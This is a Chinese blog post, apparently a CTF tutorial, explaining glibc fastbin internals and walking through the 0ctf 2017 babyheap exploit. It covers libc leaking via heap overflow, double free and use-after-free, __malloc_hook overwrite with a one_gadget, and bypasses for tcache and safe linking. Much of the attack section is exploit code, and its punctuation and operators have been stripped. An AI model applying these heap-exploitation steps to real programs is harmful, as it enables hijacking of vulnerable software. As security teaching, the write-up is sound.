Fastbin Attack实战:从原理到0ctf babyheap漏洞利用全解析

张开发
2026/4/18 10:26:15 15 分钟阅读

分享文章

Fastbin Attack实战:从原理到0ctf babyheap漏洞利用全解析
Fastbin Attack实战从堆漏洞到CTF夺旗的完整攻防手册堆漏洞利用一直是CTF赛事中的高含金量题型而fastbin attack作为其中的经典手法近年来在各大比赛中频频亮相。今天我们就以0ctf babyheap为例手把手带你从堆管理机制开始逐步构建完整的漏洞利用链。1. 堆管理机制与fastbin运作原理现代Linux系统默认使用ptmalloc2作为内存分配器其核心思想是通过维护不同规格的空闲内存块链表来提升分配效率。fastbin正是其中专为小内存块设计的快速分配通道。1.1 fastbin的基础特性fastbin具有几个关键特征管理大小在16字节到128字节之间的内存块64位系统采用LIFO后进先出的单向链表结构每个size class单独维护链表默认最多4个空闲块不合并相邻空闲块以提升分配速度// glibc中fastbin的存储结构 struct malloc_state { [...] fastbinptr fastbinsY[NFASTBINS]; [...] };当程序调用free释放内存时ptmalloc会先检查块大小是否属于fastbin范围。如果是则将该块插入对应size class链表的头部调用malloc时则从链表头部直接取用。1.2 fastbin的链表操作示例假设我们连续分配并释放三个0x30大小的chunkchunk_A malloc(0x28) # 实际分配0x30 chunk_B malloc(0x28) chunk_C malloc(0x28) free(chunk_A) free(chunk_B) free(chunk_C)此时fastbin链表状态如下fastbinsY[0x30] - chunk_C - chunk_B - chunk_A - NULL下次申请0x30大小内存时分配顺序将是C→B→A。这种简单的单向链表结构正是fastbin attack得以实现的基础。2. Fastbin Attack的核心利用技术要成功实施fastbin attack攻击者需要能够修改已释放堆块的fd指针。常见的漏洞组合包括2.1 Double Free漏洞利用Double free指同一内存块被重复释放导致链表出现环状结构。以下是典型利用步骤创建两个chunk并依次释放chunk1 malloc(0x28) chunk2 malloc(0x28) free(chunk1) free(chunk2)此时链表fastbin - chunk2 - chunk1 - NULL再次释放chunk1形成循环free(chunk1) # double free!链表变为fastbin - chunk1 - chunk2 - chunk1...通过精心设计的申请顺序篡改fd指针malloc(0x28) # 获取chunk1 # 修改chunk1的fd指向目标地址-0x10 write(p64(target_address-0x10)) malloc(0x28) # 获取chunk2 malloc(0x28) # 获取伪造的chunk1 malloc(0x28) # 分配到目标地址2.2 Use-After-Free漏洞利用当程序在释放内存后仍保留引用时可能产生UAF漏洞chunk malloc(0x28) free(chunk) # 未清空指针仍可写入 write(chunk, p64(target_address-0x10)) malloc(0x28) # 获取原chunk malloc(0x28) # 分配到目标地址2.3 关键检测机制绕过现代glibc对fastbin添加了多项安全检查size字段验证分配的chunk大小必须匹配fastbin的size class内存对齐检查地址必须满足16字节对齐64位系统双链表完整性检查某些版本以修改__malloc_hook为例经典做法是定位到__malloc_hook-0x23处伪造size字段0x7ffff7dd1b0d __malloc_hook-0x23: 0x0000000000000000 0x7ffff7dd1b15 __malloc_hook-0x1b: 0x000000000000007f -- 伪造的size 0x7ffff7dd1b1d __malloc_hook-0x13: 0x0000000000000000 0x7ffff7dd1b25 __malloc_hook-0xb: 0x0000000000000000 0x7ffff7dd1b2d __malloc_hook-0x3: 0x0000000000000000 0x7ffff7dd1b30 __malloc_hook: 0x00000000000000003. 0ctf babyheap实战解析现在我们以0ctf 2017的babyheap为例演示完整的利用流程。题目提供了基本的堆操作菜单1. Alloc 2. Fill 3. Free 4. Dump3.1 漏洞分析与利用规划程序存在两个关键漏洞Fill函数允许写入任意长度数据导致堆溢出Free后未清空指针存在UAF可能我们的攻击路线图泄露libc基地址构造fastbin attack修改__malloc_hook劫持控制流获取shell3.2 泄露libc地址通过堆溢出修改chunk size构造unsorted bin泄露# 创建隔离的堆布局 alloc(0x18) # chunk0 alloc(0x68) # chunk1 alloc(0x68) # chunk2 alloc(0x18) # chunk3隔离top chunk # 通过chunk0溢出修改chunk1的size fill(0, 0x19, bA*0x18 b\xe1) free(1) # 释放合并后的假大chunk # 重新分配使chunk2包含main_arena指针 alloc(0x68) # 新的chunk1 dump(2) # 泄露libc地址关键点在于构造一个包含libc指针的unsorted bin chunk然后通过dump功能读取出来。获取的地址减去固定偏移即可得到libc基址。3.3 构造Fastbin Attack获取libc地址后接下来瞄准__malloc_hook# 计算关键地址 libc_base leak - 0x3c4b78 malloc_hook libc_base libc.sym[__malloc_hook] onegadget libc_base 0x4526a # 制造double free效果 alloc(0x68) # chunk4 (与chunk2同地址) free(2) fill(4, 8, p64(malloc_hook-0x23)) # 通过三次分配控制目标地址 alloc(0x68) # chunk2 alloc(0x68) # chunk5 (位于malloc_hook附近) fill(5, 0x1b, bA*0x13 p64(onegadget))3.4 触发Shell最后只需再次调用malloc即可触发我们的onegadgetalloc(0x10) # 触发__malloc_hook p.interactive() # 获取shell完整exp需要注意以下几点本地调试与远程环境libc偏移可能不同onegadget需要满足特定寄存器条件不同glibc版本检测机制可能有差异4. 防御措施与绕过思路随着glibc版本更新各种防护机制被引入4.1 现代防护技术防护机制作用引入版本Fastbin double free检查检测同一chunk连续释放glibc 2.3.5tcache新增中间缓存层glibc 2.26safe linkingfd指针加密glibc 2.324.2 绕过技巧举例对于tcache机制填满tcache bin迫使使用fastbin利用tcache dup构造类似double free对于safe linking泄露堆地址计算加密密钥部分场景下可预测加密值提示在实际CTF比赛中务必确认目标环境的glibc版本和具体保护措施这直接影响利用手法的选择。堆漏洞利用就像一场精妙的积木游戏需要准确把握内存布局的每个细节。从最初的堆风水排布到中间的地址泄露再到最后的控制流劫持每一步都需要精心设计。建议在掌握基础技巧后多尝试不同版本的glibc和防护组合这才是成为pwn高手的必经之路。

更多文章